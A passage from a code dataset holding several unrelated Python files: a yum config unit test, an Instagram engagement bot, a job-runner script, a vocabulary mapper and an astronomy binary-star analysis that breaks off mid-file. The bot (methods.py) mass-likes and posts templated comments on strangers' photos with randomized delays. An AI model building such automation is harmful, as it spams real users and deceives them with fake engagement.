test_main_no_command(self):\n sys.argv[1:] = []\n with self.assertRaises(SystemExit) as command:\n main.main()\n\n self.assertEqual(2, command.exception.code)\n\n @ddt.data('repo')\n def test_main_repo_mod_without_name(self, command):\n sys.argv[1:] = [command, '--set-opts', 'key1=value1']\n\n with self.assertRaises(SystemExit) as command:\n main.main()\n\n self.assertEqual(2, command.exception.code)\n\n @ddt.data('key:value', 'value', 'key value')\n def test_main_invalid_options_format(self, option):\n sys.argv[1:] = ['global', '--set-opts', option]\n\n with self.assertRaises(SystemExit) as command:\n main.main()\n\n self.assertEqual(2, command.exception.code)\n","sub_path":"tests/unit/yum_config/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"202971323","text":"import client as c\nfrom datetime import datetime, timedelta\nfrom time import sleep\nfrom random import choice, randint, shuffle\nimport os\nimport sys\nimport json\n\ndef handleLog():\n if not os.path.isfile('logs/' + c.USERNAME + '.log'):\n file = open('logs/' + c.USERNAME + '.log', 'w')\n file.write('------- NEW GROW ------- \\n\\n')\n file.close()\n else:\n file = open('logs/' + c.USERNAME + '.log', 'a')\n file.write('\\n ------- NEW SESSION ------- \\n\\n')\n file.close()\n\ndef addLog(status, message):\n now = datetime.now()\n log = '[ ' + status + ' ] ' + now.strftime(\"%d-%m %H:%M:%S\") + ' ' + message\n print(log)\n file = open('logs/' + c.USERNAME + '.log', 'a')\n file.write(log + '\\n')\n file.close()\n\ndef getData():\n with open('data/' + c.USERNAME + '.json') as data_file: \n data = json.load(data_file)\n return data\n\ndef updateData(data):\n with open('data/' + c.USERNAME + '.json', 'w') as file:\n json.dump(data, file, indent=2, sort_keys=True)\n\ndef fetchProspects(api):\n users = []\n data = getData()\n response = 0\n fetch_error = 1\n\n ##### CHOSE ACCOUNT TO FETCH FROM\n while response != 200:\n account = choice(c.FETCH_FROM)\n response = api.searchUsername(account)\n account_id = api.LastJson['user']['pk']\n addLog('OK ', 'CHOSE ' + account + ' FOLLOWERS')\n\n ##### FETCH SELF FOLLOWERS\n addLog('OK ', 'FETCHING FOLLOWERS...')\n while fetch_error != 0:\n try:\n followers = api.getTotalFollowers(account_id)\n fetch_error = 0\n except:\n addLog('ERROR', 'API ERROR ON FOLLOWERS FETCH - RETRYING')\n sleep(10 * fetch_error)\n fetch_error += 1\n if fetch_error == 4:\n addLog('ERROR', 'TOO MANY RETRIES - SLEEP 20 HOURS')\n sleep(72000)\n \n ##### CHOSE PROSPECTS\n for user in followers:\n if not user['is_private']:\n if user['username'] not in data['prospects']:\n users.append({\n \"username\": user['username'],\n \"id\": user['pk']\n })\n addLog('OK ', 'FOUND ' + repr(len(users)) + ' POTENTIAL PROSPECTS')\n\n return users\n\ndef action(api, user):\n data = getData()\n post_id = ''\n fetch_error = 1\n while fetch_error != 0:\n try:\n response = api.getUserFeed(str(user['id']))\n fetch_error = 0\n except:\n addLog('ERROR', 'API ERROR ON FEED FETCH - RETRYING')\n sleep(10 * fetch_error)\n fetch_error += 1\n if fetch_error == 4:\n addLog('ERROR', 'TOO MANY RETRIES - SLEEP 20 HOURS')\n sleep(72000)\n if response == 200:\n\n if 'items' in api.LastJson:\n photos = api.LastJson['items']\n else:\n photos = []\n if photos:\n\n data['prospects'][user['username']] = {}\n data['prospects'][user['username']]['time'] = (datetime.now() - timedelta(minutes=5)).strftime(c.DATE_FMT)\n data['prospects'][user['username']]['followed_back'] = False\n\n ##### COMMENT\n if c.ACTION == 'comment' or c.ACTION == 'both':\n response = 0\n index = 0\n comment = constructComment()\n response = api.comment(str(photos[index]['pk']), comment)\n if response == 200:\n addLog('OK ', 'COMMENTED ' + comment)\n data['prospects'][user['username']]['comment'] = comment\n data['prospects'][user['username']]['photo'] = 'instagram.com/p/' + photos[index]['code']\n data['prospects'][user['username']]['confirmed'] = False\n data['prospects'][user['username']]['photo_id'] = photos[index]['pk']\n # wait = randint(c.SLEEP_MIN, c.SLEEP_MAX)\n # addLog('OK ', 'SLEEPING ' + repr(wait) + 's')\n # sleep(wait)\n else:\n addLog('ERROR', 'COULDNT COMMENT')\n return False\n\n ##### LIKES\n if c.ACTION == 'like' or c.ACTION == 'both':\n liked = []\n err = 0\n if len(photos) < c.MAX_LIKE:\n maxLike = len(photos)\n minLike = 1\n else:\n maxLike = c.MAX_LIKE\n minLike = c.MIN_LIKE\n for i in range(randint(minLike, maxLike)):\n post = photos[i]\n post_id = post['pk']\n response = api.like(str(post_id))\n if response == 200:\n addLog('OK ', 'LIKED ' + repr(i + 1) + ' PHOTO')\n liked.append(post_id)\n sleep(randint(1,4))\n else:\n addLog('ERROR', 'COULDNT LIKE PHOTO - ERROR ' + repr(response))\n err += 1\n data['prospects'][user['username']]['liked'] = i - err\n\n\n updateData(data)\n return True\n else:\n addLog('OK ', 'USER HAS NO PHOTO')\n return False\n else:\n addLog('ERROR', 'COULDNT FETCH USER FEED')\n return False\n\ndef checkLastAction(apiCheck, user):\n data = getData()\n ##### RETRIEVE COMMENT ON POST\n has_more_comments = True\n max_id = ''\n comments = []\n utc_timedelta = datetime.utcnow() - datetime.now()\n while has_more_comments:\n _ = apiCheck.getMediaComments(str(data['prospects'][user['username']]['photo_id']), max_id=max_id)\n if 'comments' in apiCheck.LastJson:\n for cmt in reversed(apiCheck.LastJson['comments']):\n comments.append(cmt)\n else:\n addLog('ERR', 'COULDNT FETCH COMMENTS')\n print(apiCheck.LastJson)\n has_more_comments = apiCheck.LastJson.get('has_more_comments', False)\n if comments:\n older_comment = comments[-1]\n else:\n break\n dt = datetime.utcfromtimestamp(older_comment.get('created_at_utc', 0))\n until_time = (datetime.strptime(data['prospects'][user['username']]['time'], c.DATE_FMT) + utc_timedelta)\n if dt <= until_time:\n comments = [\n cmt\n for cmt in comments\n if datetime.utcfromtimestamp(cmt.get('created_at_utc', 0)) > until_time\n ]\n has_more_comments = False\n if has_more_comments:\n max_id = apiCheck.LastJson.get('next_max_id', '')\n sleep(1)\n found = False\n for cmt in comments:\n if data['prospects'][user['username']]['comment'] == cmt['text']:\n found = True\n break\n if found:\n data['prospects'][user['username']]['confirmed'] = True\n updateData(data)\n return True\n else:\n return False\n\n\ndef constructComment():\n comment = ''\n for i in range(len(c.SYNTAX)):\n comment += choice(c.SYNTAX[i + 1])\n return comment","sub_path":"methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":7099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"362165109","text":"#!/usr/bin/env python\n\n# The MIT License (MIT)\n#\n# Copyright (c) 2020 Edson Borin \n# Copyright (c) 2015 Caian Benedicto \n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy \n# of this software and associated documentation files (the \"Software\"), to \n# deal in the Software without restriction, including without limitation the \n# rights to use, copy, modify, merge, publish, distribute, sublicense, \n# and/or sell copies of the Software, and to permit persons to whom the \n# Software is furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in \n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS \n# IN THE SOFTWARE.\n\nfrom utils import JobBinary, SimpleEndpoint\nfrom utils import messaging, config\n\nimport Args\nimport sys, threading, os, time, ctypes, logging, struct, threading, traceback\n\n###############################################################################\n# Parse global configuration\n###############################################################################\ndef parse_global_config(argdict):\n pass\n\n###############################################################################\n# Configure the log output format\n###############################################################################\ndef setup_log():\n root = logging.getLogger()\n root.setLevel(logging.DEBUG)\n root.handlers = []\n ch = logging.StreamHandler(sys.stderr)\n ch.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s - %(threadName)s - '+\n '%(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n root.addHandler(ch)\n\n###############################################################################\n# Abort the aplication with message\n###############################################################################\ndef abort(error):\n logging.critical(error)\n exit(1)\n\n\n###############################################################################\n# Run routine\n###############################################################################\ndef run(argv, job):\n jm = job.spits_job_manager_new(argv)\n co = job.spits_committer_new(argv)\n wk = job.spits_worker_new(argv)\n taskid = 0\n\n\n while True:\n taskid += 1\n\n r1, task = job.spits_job_manager_next_task(jm)\n \n if r1 == 0:\n break\n\n #logging.debug('Generated task %d.', taskid)\n\n #logging.info('Processing task %d...', taskid)\n\n r2, res, ctx = job.spits_worker_run(wk, task, taskid)\n\n logging.info('Task %d processed.', taskid)\n\n if res == None:\n logging.error('Task %d did not push any result!', taskid)\n continue\n\n if ctx != taskid:\n logging.error('Context verification failed for task %d!', taskid)\n continue\n\n r3 = job.spits_committer_commit_pit(co, res[0])\n\n if r3 != 0:\n logging.error('The task %d was not successfully committed, ' +\n 'committer returned %d', taskid, r3)\n continue\n\n job.spits_job_manager_finalize(jm)\n\n #logging.info('Committing Job...')\n r, res, ctx = job.spits_committer_commit_job(co, 0x12345678)\n\n job.spits_worker_finalize(wk)\n\n if res == None:\n logging.error('Job did not push any result!')\n return messaging.res_module_noans, None\n\n if ctx != 0x12345678:\n logging.error('Context verification failed for job!')\n return messaging.res_module_ctxer, None\n\n return r, res[0]\n\n###############################################################################\n# Main routine\n###############################################################################\ndef main(argv):\n # Setup logging\n setup_log()\n logging.debug('Hello!')\n\n # Print usage\n if len(argv) <= 1:\n abort('USAGE: jm module [module args]')\n\n # Parse the arguments\n args = Args.Args(argv[1:])\n parse_global_config(args.args)\n\n # Load the module\n module = args.margs[0]\n job = JobBinary(module)\n\n # Remove JM arguments when passing to the module\n margv = args.margs\n\n # Wrapper to include job module\n def run_wrapper(argv):\n return run(argv, job)\n\n # Run the module\n logging.info('Running module')\n r = job.spits_main(margv, run_wrapper)\n\n # Finalize\n logging.debug('Bye!')\n #exit(r)\n\n###############################################################################\n# Entry point\n###############################################################################\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"runtime/pypits/se.py","file_name":"se.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"156532197","text":"#!/usr/bin/env python3\n\n'''Reads output file from an sql query that returns vocab info, which \nis then converted into a python dictionary that can be used to lookup\nvocab item urns.\n'''\n\nimport sys\nimport pprint\nimport psycopg2\n\n# At present, postgres on the vm slice can only be accessed at 'localhost',\n# so this script just uses a text file. It should use a real-time sql query.\n# On the other hand, it probably won't be used often.\n\nwith open(\"vocab_terms.list\") as infile:\n\n col_names = infile.readline().rstrip().split('|')\n number_of_terms = len(col_names)\n vocab_map = {}\n\n row_num = 0\n for line in infile:\n row_num += 1\n\n terms = line.rstrip().split('|')\n \n if len(terms) != number_of_terms:\n print(\"Wrong number of columns at row {}\".format(row_num))\n break\n\n #v_shortid = a new dict \n if terms[0] not in vocab_map:\n vocab_map[terms[0]] = {}\n \n if terms[1] in vocab_map[terms[0]]:\n print(\"Duplicate vocab term in row {}\".format(row_num))\n sys.exit(2)\n else:\n vocab_map[terms[0]][terms[1]] = {}\n vocab_map[terms[0]][terms[1]][col_names[2]] = terms[2] \n vocab_map[terms[0]][terms[1]][col_names[3]] = terms[3] \n\n with open('vocab_map.txt', 'w') as outfile:\n pprint.PrettyPrinter(stream=outfile, indent=1, compact=True).pprint(vocab_map)\n","sub_path":"python3_code/create_vocab_map.py","file_name":"create_vocab_map.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"466606776","text":"'''\nRewritten analyse script as an object\nCan call in file tree walk scrip (runAnalyse)\nWill perform analyse functionality for multiple viewing scenarios\nCan call one time (or in a loop)\ninstead of running script several times for multiple scenarios\n\n'''\nimport pandas as pd\nimport numpy as np\nimport os\nfrom astropy.coordinates import SkyCoord\nfrom astropy import units, constants\nfrom astropy.modeling import models, fitting\nimport scipy.stats\nfrom scipy.integrate import quad\nfrom matplotlib import pyplot as plt\n\n# imports for Quest plots\nimport matplotlib\nmatplotlib.use('Agg')\ndoIndividualPlots = True\n\n\n# #####################################################################################################\n\nclass analyseCluster(object):\n\t'''\n\tObject for use to be able to call our analyseEBLSST script for any scenario\n\tThis replaces having a separate analyse script in each directory\n\t'''\n\n\tdef __init__(self, path, clusterType, strategy, crowding, searchWDs):\n\t\tself.clusterType = clusterType\n\t\tself.strategy = strategy\n\t\tself.crowding = crowding\n\t\tself.searchWDs = searchWDs\n\t\tself.path = path\n\n\tdef file_len(self, fname):\n\t\ti = 0\n\t\twith open(fname) as f:\n\t\t\tfor i, l in enumerate(f):\n\t\t\t\tpass\n\t\treturn i + 1\n\n\tdef getPhs(self, sigma, m1=1*units.solMass, m2=1*units.solMass, m3=0.5*units.solMass):\n\t\tself.Phs = np.pi*constants.G/np.sqrt(2.)*(m1*m2/m3)**(3./2.)*(m1 + m2)**(-0.5)*sigma**(-3.)\n\t\treturn self.Phs.decompose().to(units.day)\n\n\t# similar to field, but limiting by the hard-soft boundary\n\tdef fitRagfb(self):\n\t\tx = [0.05, 0.1, 1, 8, 15] # estimates of midpoints in bins, and using this: https://sites.uni.edu/morgans/astro/course/Notes/section2/spectralmasses.html\n\t\ty = [0.20, 0.35, 0.50, 0.70, 0.75]\n\t\tinit = models.PowerLaw1D(amplitude=0.5, x_0=1, alpha=-1.)\n\t\tfitter = fitting.LevMarLSQFitter()\n\t\tfit = fitter(init, x, y)\n\n\t\treturn fit\n\n\tdef RagNormal(self, x, cdf=False):\n\t\tmean = 5.03\n\t\tstd = 2.28\n\t\tif (cdf):\n\t\t\treturn scipy.stats.norm.cdf(x,mean,std)\n\n\t\treturn scipy.stats.norm.pdf(x,mean,std)\n\n\tdef saveHist(self, histAll, histObs, histRec, bin_edges, xtitle, fname, filters = ['u_', 'g_', 'r_', 'i_', 'z_', 'y_', 'all']):\n\t\t'''\n\t\tMethod to generate step pdf and cdfs for different binary population params\n\t\t'''\n\t\tc1 = '#5687A6' # Dali Blue (Andrew's AAS Poster scheme)\n\t\tc2 = '#A62B1F' # Dai Red\n\t\tc3 = '#BF8A26' # Dali Beige\n\t\tfig,(ax1, ax2) = plt.subplots(2, 1, figsize=(5, 8), sharex=True)\n\n\t\thistAll = np.insert(histAll, 0, 0)\n\t\thistObs = np.insert(histObs, 0, 0)\n\t\tfor f in filters:\n\t\t\thistRec[f] = np.insert(histRec[f], 0, 0)\n\n\t\t#PDF\n\t\tax1.step(bin_edges, histAll/np.sum(histAll), color=c1)\n\t\tax1.step(bin_edges, histObs/np.sum(histObs), color=c2)\n\t\tfor f in filters:\n\t\t\tlw = 1\n\t\t\tif (f == 'all'):\n\t\t\t\tlw = 0.5\n\t\tax1.step(bin_edges, histRec[f]/np.sum(histRec[f]), color=c3, linewidth=lw)\n\t\tax1.set_ylabel('PDF')\n\t\t# print('FOO FOO BIG OLE POO',self.clusterType, self.crowding)\n\t\tax1.set_yscale('log')\n\t\t#ax1.set_title(self.clusterType + \"(\" + self.crowding + \")\", fontsize = 16)\n\t\tax1.set_xlabel(xtitle)\n\t\t#CDF - NOt using for our purposes but can include\n\t\tcdfAll = []\n\t\tcdfObs = []\n\t\tcdfRec = dict()\n\t\tfor f in filters:\n\t\t\tcdfRec[f] = []\n\n\t\tfor i in range(len(histAll)):\n\t\t\tcdfAll.append(np.sum(histAll[:i])/np.sum(histAll))\n\t\tfor i in range(len(histObs)):\n\t\t\tcdfObs.append(np.sum(histObs[:i])/np.sum(histObs))\n\t\tfor f in filters:\n\t\t\tfor i in range(len(histRec[f])):\n\t\t\t\tcdfRec[f].append(np.sum(histRec[f][:i])/np.sum(histRec[f]))\n\t\tax2.step(bin_edges, cdfAll, color=c1)\n\t\tax2.step(bin_edges, cdfObs, color=c2)\n\t\tfor f in filters:\n\t\t\tlw = 1\n\t\t\tif (f == 'all'):\n\t\t\t\tlw = 0.5\n\t\t\tax2.step(bin_edges, cdfRec[f], color=c3, linewidth=lw)\n\t\tax2.set_ylabel('CDF')\n\n\t\tax2.set_xlabel(xtitle)\n\t\tfig.subplots_adjust(hspace=0)\n\t\tfig.savefig(self.path + '/plots/' + fname + '.pdf', format='pdf', bbox_inches='tight')\n\n\t\t#write to a text file\n\t\twith open(self.path + '/eblsst_files/' + fname+'.csv','w') as fl:\n\t\t\toutline = 'binEdges,histAll,histObs'\n\t\t\tfor f in filters:\n\t\t\t\toutline += ','+f+'histRec'\n\t\t\toutline += '\\n'\n\t\t\tfl.write(outline)\n\t\t\tfor i in range(len(bin_edges)):\n\t\t\t\toutline = str(bin_edges[i])+','+str(histAll[i])+','+str(histObs[i])\n\t\t\t\tfor f in filters:\n\t\t\t\t\toutline += ','+str(histRec[f][i])\n\t\t\t\toutline += '\\n'\n\t\t\t\tfl.write(outline)\n\n\n\tdef wdMRrelation(self, mass):\n\t\t'''\n\t\tFunction for mass-radius relationship for MS stars, \n\t\tWDs will have radii smaller than the predicted R from this relation\n\t\tSource: http://personal.psu.edu/rbc3/A534/lec18.pdf\n\t\t'''\n\t\txi = 0\n\t\tfor m in mass:\n\t\t\tif (m < 1.0):\n\t\t\t\txi = 0.8\n\t\t\t\tradius = m ** xi\n\t\t\t\t# print('radius: ', radius)\n\t\t\t\treturn radius\n\n\t\t\telif m >= 1.0:\n\t\t\t\txi = 0.57\n\t\t\t\tradius = m ** xi\n\t\t\t\t# print('radius: ', radius)\n\t\t\t\treturn 0.0\n\n\n\tdef log_g(self, mass, radius):\n\t\t'''\n\t\tFunction to generate log(g) surface gravity values\n\t\tWill select WDs based on this metric instead of mass-radius relation\n\t\t'''\n\t\n\t\t# Gravitational constant (needs to be in solar units)\n\t\tG = 6.67e-11\n\t\tg = G * mass / (radius**2)\n\n\t\treturn np.log10(g)\n\n\tdef analyse(self, path, clusterType, strategy, crowding, searchWDs):\n\t\tself.searchWDs = searchWDs\n\t\tself.path = path\n\t\tself.clusterType = clusterType\n\t\tself.crowding = crowding\n\t\tfilters = ['u_', 'g_', 'r_', 'i_', 'z_', 'y_', 'all']\n\n\t\t#get the Raghavan binary fraction fit\n\t\tfbFit= self.fitRagfb()\n\t\tprint(fbFit)\n\n\t\t#to normalize\n\t\tintAll, err = quad(self.RagNormal, -20, 20)\n\t\tintCut, err = quad(self.RagNormal, -20, np.log10(365*10.))\n\t\tintNorm = intCut/intAll\n\n\t\t#cutoff in percent error for \"recovered\"\n\t\tPcut = 0.1\n\n\t\t#assumed mean stellar mass\n\t\tmMean = 0.5\n\n\t\t#minimum number of lines to consider in file\n\t\tNlim = 3\n\n\t\tif (doIndividualPlots):\n\t\t\tfmass, axmass = plt.subplots()\n\t\t\tfqrat, axqrat = plt.subplots()\n\t\t\tfecc, axecc = plt.subplots()\n\t\t\tflper, axlper = plt.subplots()\n\t\t\tfdist, axdist = plt.subplots()\n\t\t\tfmag, axmag = plt.subplots()\n\t\t\tfrad, axrad = plt.subplots()\n\n\t\t#bins for all the histograms\n\t\tNbins = 25\n\t\tmbins = np.arange(0,10, 0.1, dtype='float')\n\t\tqbins = np.arange(0,1, 0.1, dtype='float')\n\t\tebins = np.arange(0, 1.05, 0.05, dtype='float')\n\t\tlpbins = np.arange(-2, 10, 0.5, dtype='float')\n\t\tdbins = np.arange(0, 40, 1, dtype='float')\n\t\tmagbins = np.arange(11, 25, 1, dtype='float')\n\t\trbins = np.arange(0, 100, 0.2, dtype='float')\n\n\t\t#blanks for the histograms\n\t\t#All\n\t\tm1hAll = np.zeros_like(mbins)[1:]\n\t\tqhAll = np.zeros_like(qbins)[1:]\n\t\tehAll = np.zeros_like(ebins)[1:]\n\t\tlphAll = np.zeros_like(lpbins)[1:]\n\t\tdhAll = np.zeros_like(dbins)[1:]\n\t\tmaghAll = np.zeros_like(magbins)[1:]\n\t\trhAll = np.zeros_like(rbins)[1:]\n\t\t#Observable\n\t\tm1hObs = np.zeros_like(mbins)[1:]\n\t\tqhObs = np.zeros_like(qbins)[1:]\n\t\tehObs = np.zeros_like(ebins)[1:]\n\t\tlphObs = np.zeros_like(lpbins)[1:]\n\t\tdhObs = np.zeros_like(dbins)[1:]\n\t\tmaghObs = np.zeros_like(magbins)[1:]\n\t\trhObs = np.zeros_like(rbins)[1:]\n\t\t#Recovered\n\t\tm1hRec = dict()\n\t\tqhRec = dict()\n\t\tehRec = dict()\n\t\tlphRec = dict()\n\t\tdhRec = dict()\n\t\tmaghRec = dict()\n\t\trhRec = dict()\n\t\tfor f in filters:\n\t\t\tm1hRec[f] = np.zeros_like(mbins)[1:]\n\t\t\tqhRec[f] = np.zeros_like(qbins)[1:]\n\t\t\tehRec[f] = np.zeros_like(ebins)[1:]\n\t\t\tlphRec[f] = np.zeros_like(lpbins)[1:]\n\t\t\tdhRec[f] = np.zeros_like(dbins)[1:]\n\t\t\tmaghRec[f] = np.zeros_like(magbins)[1:]\n\t\t\trhRec[f] = np.zeros_like(rbins)[1:]\n\n\t\tRA = []\n\t\tDec = []\n\t\trecFrac = []\n\t\trecN = []\n\t\trawN = []\n\t\tobsN = []\n\t\tfileN = []\n\t\tfileObsN = []\n\t\tfileRecN = []\n\n\t\tallNPrsa = []\n\t\tobsNPrsa = []\n\t\trecNPrsa = []\n\n\n\t\t# Lists for different params\n\t\teccAll = []\n\t\teccObs = []\n\t\teccRec = []\n\n\t\tpAll = []\n\t\tpObs = []\n\t\tpRec = []\n\n\t\tiAll = []\n\t\tiObs = []\n\t\tiRec = []\n\n\t\tm1All = []\n\t\tm1Obs = []\n\t\tm1Rec = []\n\n\t\tm2All = []\n\t\tm2Obs = []\n\t\tm2Rec = []\n\n\t\tr1All = []\n\t\tr1Obs = []\n\t\tr1Rec = []\t\n\n\t\tr2All = []\n\t\tr2Obs = []\n\t\tr2Rec = []\n\n\t\tmagAll = []\n\t\tmagObs = []\n\t\tmagRec = []\n\n\t\t# Lists to append WD dataframes to, will concatenate after looping thru files\n\t\t# if self.searchWDs == True:\n\t\tself.all_WD = []\n\t\tself.obs_WD = []\n\t\tself.rec_WD = []\n\t\t# Using prsa dataframes for these lists because of period cutoff at 1000 days\n\n\t\t# Dataframes to write to files later; 3 files for each sub-population - append everything to these\n\t\tAll = pd.DataFrame(columns = ['p', 'm1', 'm2', 'r1', 'r2', 'e', 'i', 'appMagMean_r'])\n\t\tObs = pd.DataFrame(columns = ['p', 'm1', 'm2', 'r1', 'r2', 'e', 'i', 'appMagMean_r'])\n\t\tRec = pd.DataFrame(columns = ['p', 'm1', 'm2', 'r1', 'r2', 'e', 'i', 'appMagMean_r'])\n\n\t\t#Read in all the data and make the histograms\n\t\td = self.path + \"/input_files/\"\n\t\tfiles = os.listdir(d)\n\t\tIDs = []\n\t\tfor i, f in enumerate(files):\n\t\t\tprint(round(i/len(files),4), f)\n\t\t\tfl = self.file_len(d+f)\n\t\t\tif (fl >= 4):\n\t\t\t\t#read in the header\n\t\t\t\theader = pd.read_csv(d+f, nrows=1)\n\t\t######################\n\t\t#NEED TO ACCOUNT FOR THE BINARY FRACTION when combining histograms\n\t\t#####################\n\t\t\t\tNmult = header['clusterMass'][0]/mMean\n\t\t\t\t#Nmult = 1.\n\n\t\t\t\tRA.append(header['OpSimRA'])\n\t\t\t\tDec.append(header['OpSimDec'])\n\n\t\t\t\t#read in rest of the file\n\t\t\t\tdata = pd.read_csv(d+f, header=2).fillna(-999)\n\t\t\t\trF = 0.\n\t\t\t\trN = 0.\n\t\t\t\tNrec = 0.\n\t\t\t\tNobs = 0.\n\t\t\t\traN = 0.\n\t\t\t\tobN = 0.\n\t\t\t\tfiN = 0.\n\t\t\t\tfioN = 0.\n\t\t\t\tfirN = 0.\n\t\t\t\tNallPrsa = 0.\n\t\t\t\tNobsPrsa = 0.\n\t\t\t\tNrecPrsa = 0.\n\t\t\t\tNall = len(data.index)/intNorm ###is this correct? (and the only place I need to normalize?)\n\t\t\t\tprsa = data.loc[(data['p'] < 1000) & (data['p'] > 0.5)]\n\n\t\t\t\t# Selecting only WD candidates - log(g) selection (no mass)\n\t\t\t\tprsaWD = data.loc[(data['p'] < 1000) & (data['p'] > 0.5) \n\t\t\t\t\t\t\t\t & (self.log_g(data['m1'], data['r1']) > 7.0)\n\t\t\t\t\t\t\t\t & (self.log_g(data['m2'], data['r2']) > 7.0 )]\n\t\t\t\tself.all_WD.append(prsaWD)\n\n\t\t\t\t# Appending for Andrew\n\t\t\t\teccAll.append(prsa['e'].values)\n\t\t\t\tpAll.append(prsa['p'].values)\n\t\t\t\tiAll.append(prsa['i'].values)\n\t\t\t\tm1All.append(prsa['m1'].values)\n\t\t\t\tm2All.append(prsa['m2'].values)\n\t\t\t\tr1All.append(prsa['r1'].values)\n\t\t\t\tr2All.append(prsa['r2'].values)\n\t\t\t\tmagAll.append(prsa['appMagMean_r'].values)\n\n\t\t\t\tNallPrsa = len(prsa.index)\n\t\t\t\tif (Nall >= Nlim):\n\t\t\t\t\t#create histograms\n\t\t\t\t\t#All\n\t\t\t\t\tm1hAll0, m1b = np.histogram(data[\"m1\"], bins=mbins)\n\t\t\t\t\tqhAll0, qb = np.histogram(data[\"m2\"]/data[\"m1\"], bins=qbins)\n\t\t\t\t\tehAll0, eb = np.histogram(data[\"e\"], bins=ebins)\n\t\t\t\t\tlphAll0, lpb = np.histogram(np.ma.log10(data[\"p\"].values).filled(-999), bins=lpbins)\n\t\t\t\t\tdhAll0, db = np.histogram(data[\"d\"], bins=dbins)\n\t\t\t\t\tmaghAll0, magb = np.histogram(data[\"appMagMean_r\"], bins=magbins)\n\t\t\t\t\trhAll0, rb = np.histogram(data[\"r2\"]/data[\"r1\"], bins=rbins)\n\n\t\t\t\t\tif (doIndividualPlots):\n\t\t\t\t\t\taxmass.step(m1b[0:-1], m1hAll0/np.sum(m1hAll0), color='black', alpha=0.1)\n\t\t\t\t\t\taxqrat.step(qb[0:-1], qhAll0/np.sum(qhAll0), color='black', alpha=0.1)\n\t\t\t\t\t\taxecc.step(eb[0:-1], ehAll0/np.sum(ehAll0), color='black', alpha=0.1)\n\t\t\t\t\t\taxlper.step(lpb[0:-1], lphAll0/np.sum(lphAll0), color='black', alpha=0.1)\n\t\t\t\t\t\taxdist.step(db[0:-1], dhAll0/np.sum(dhAll0), color='black', alpha=0.1)\n\t\t\t\t\t\taxmag.step(magb[0:-1], maghAll0/np.sum(maghAll0), color='black', alpha=0.1)\n\t\t\t\t\t\taxrad.step(rb[0:-1], rhAll0/np.sum(rhAll0), color='black', alpha=0.1)\n\n\t\t\t\t\t#account for the binary fraction, as a function of mass\n\t\t\t\t\tdm1 = np.diff(m1b)\n\t\t\t\t\tm1val = m1b[:-1] + dm1/2.\n\t\t\t\t\tfb = np.sum(m1hAll0/len(data.index)*fbFit(m1val))\n\t\t\t\t\t#account for the hard-soft boundary\n\t\t\t\t\tPhs = self.getPhs(header['clusterVdisp'].iloc[0]*units.km/units.s).to(units.day).value\n\t\t\t\t\tfb *= self.RagNormal(np.log10(Phs), cdf = True)\n\t\t\t\t\tprint(\"fb, Phs = \", fb, Phs)\n\t\t\t\t\tNmult *= fb\n\n\t\t\t\t\tm1hAll += m1hAll0/Nall*Nmult\n\t\t\t\t\tqhAll += qhAll0/Nall*Nmult\n\t\t\t\t\tehAll += ehAll0/Nall*Nmult\n\t\t\t\t\tlphAll += lphAll0/Nall*Nmult\n\t\t\t\t\tdhAll += dhAll0/Nall*Nmult\n\t\t\t\t\tmaghAll += maghAll0/Nall*Nmult\n\t\t\t\t\trhAll += rhAll0/Nall*Nmult\n\n\t\t\t\t\t#Obs\n\t\t\t\t\tobs = data.loc[data['LSM_PERIOD'] != -999]\n\t\t\t\t\tNobs = len(obs.index)\n\t\t\t\t\tprsaObs = data.loc[(data['p'] < 1000) & (data['p'] >0.5) & (data['LSM_PERIOD'] != -999)]\n\t\t\t\t\tNobsPrsa = len(prsaObs.index)\n\n\t\t\t\t\t# White dwarf appending\n\t\t\t\t\tprsaObsWD = data.loc[(data['p'] < 1000) & (data['p'] > 0.5) & (data['LSM_PERIOD'] != -999)\n\t\t\t\t\t\t\t\t\t\t& (self.log_g(data['m1'], data['r1']) > 7.0)\n\t\t\t\t\t\t\t\t\t\t& (self.log_g(data['m2'], data['r2']) > 7.0)]\n\t\t\t\t\tself.obs_WD.append(prsaObsWD)\n\n\t\t\t\t\t# would like to see if there is a better way of doing this\n\t\t\t\t\teccObs.append(prsaObs['e'].values)\n\t\t\t\t\tpObs.append(prsaObs['p'].values)\n\t\t\t\t\tiObs.append(prsaObs['i'].values)\n\t\t\t\t\tm1Obs.append(prsaObs['m1'].values)\n\t\t\t\t\tm2Obs.append(prsaObs['m2'].values)\n\t\t\t\t\tr1Obs.append(prsaObs['r1'].values)\n\t\t\t\t\tr2Obs.append(prsaObs['r2'].values)\n\t\t\t\t\tmagObs.append(prsaObs['appMagMean_r'].values)\n\n\t\t\t\t\tif (Nobs >= Nlim):\n\t\t\t\t\t\tm1hObs0, m1b = np.histogram(obs[\"m1\"], bins=mbins)\n\t\t\t\t\t\tqhObs0, qb = np.histogram(obs[\"m2\"]/obs[\"m1\"], bins=qbins)\n\t\t\t\t\t\tehObs0, eb = np.histogram(obs[\"e\"], bins=ebins)\n\t\t\t\t\t\tlphObs0, lpb = 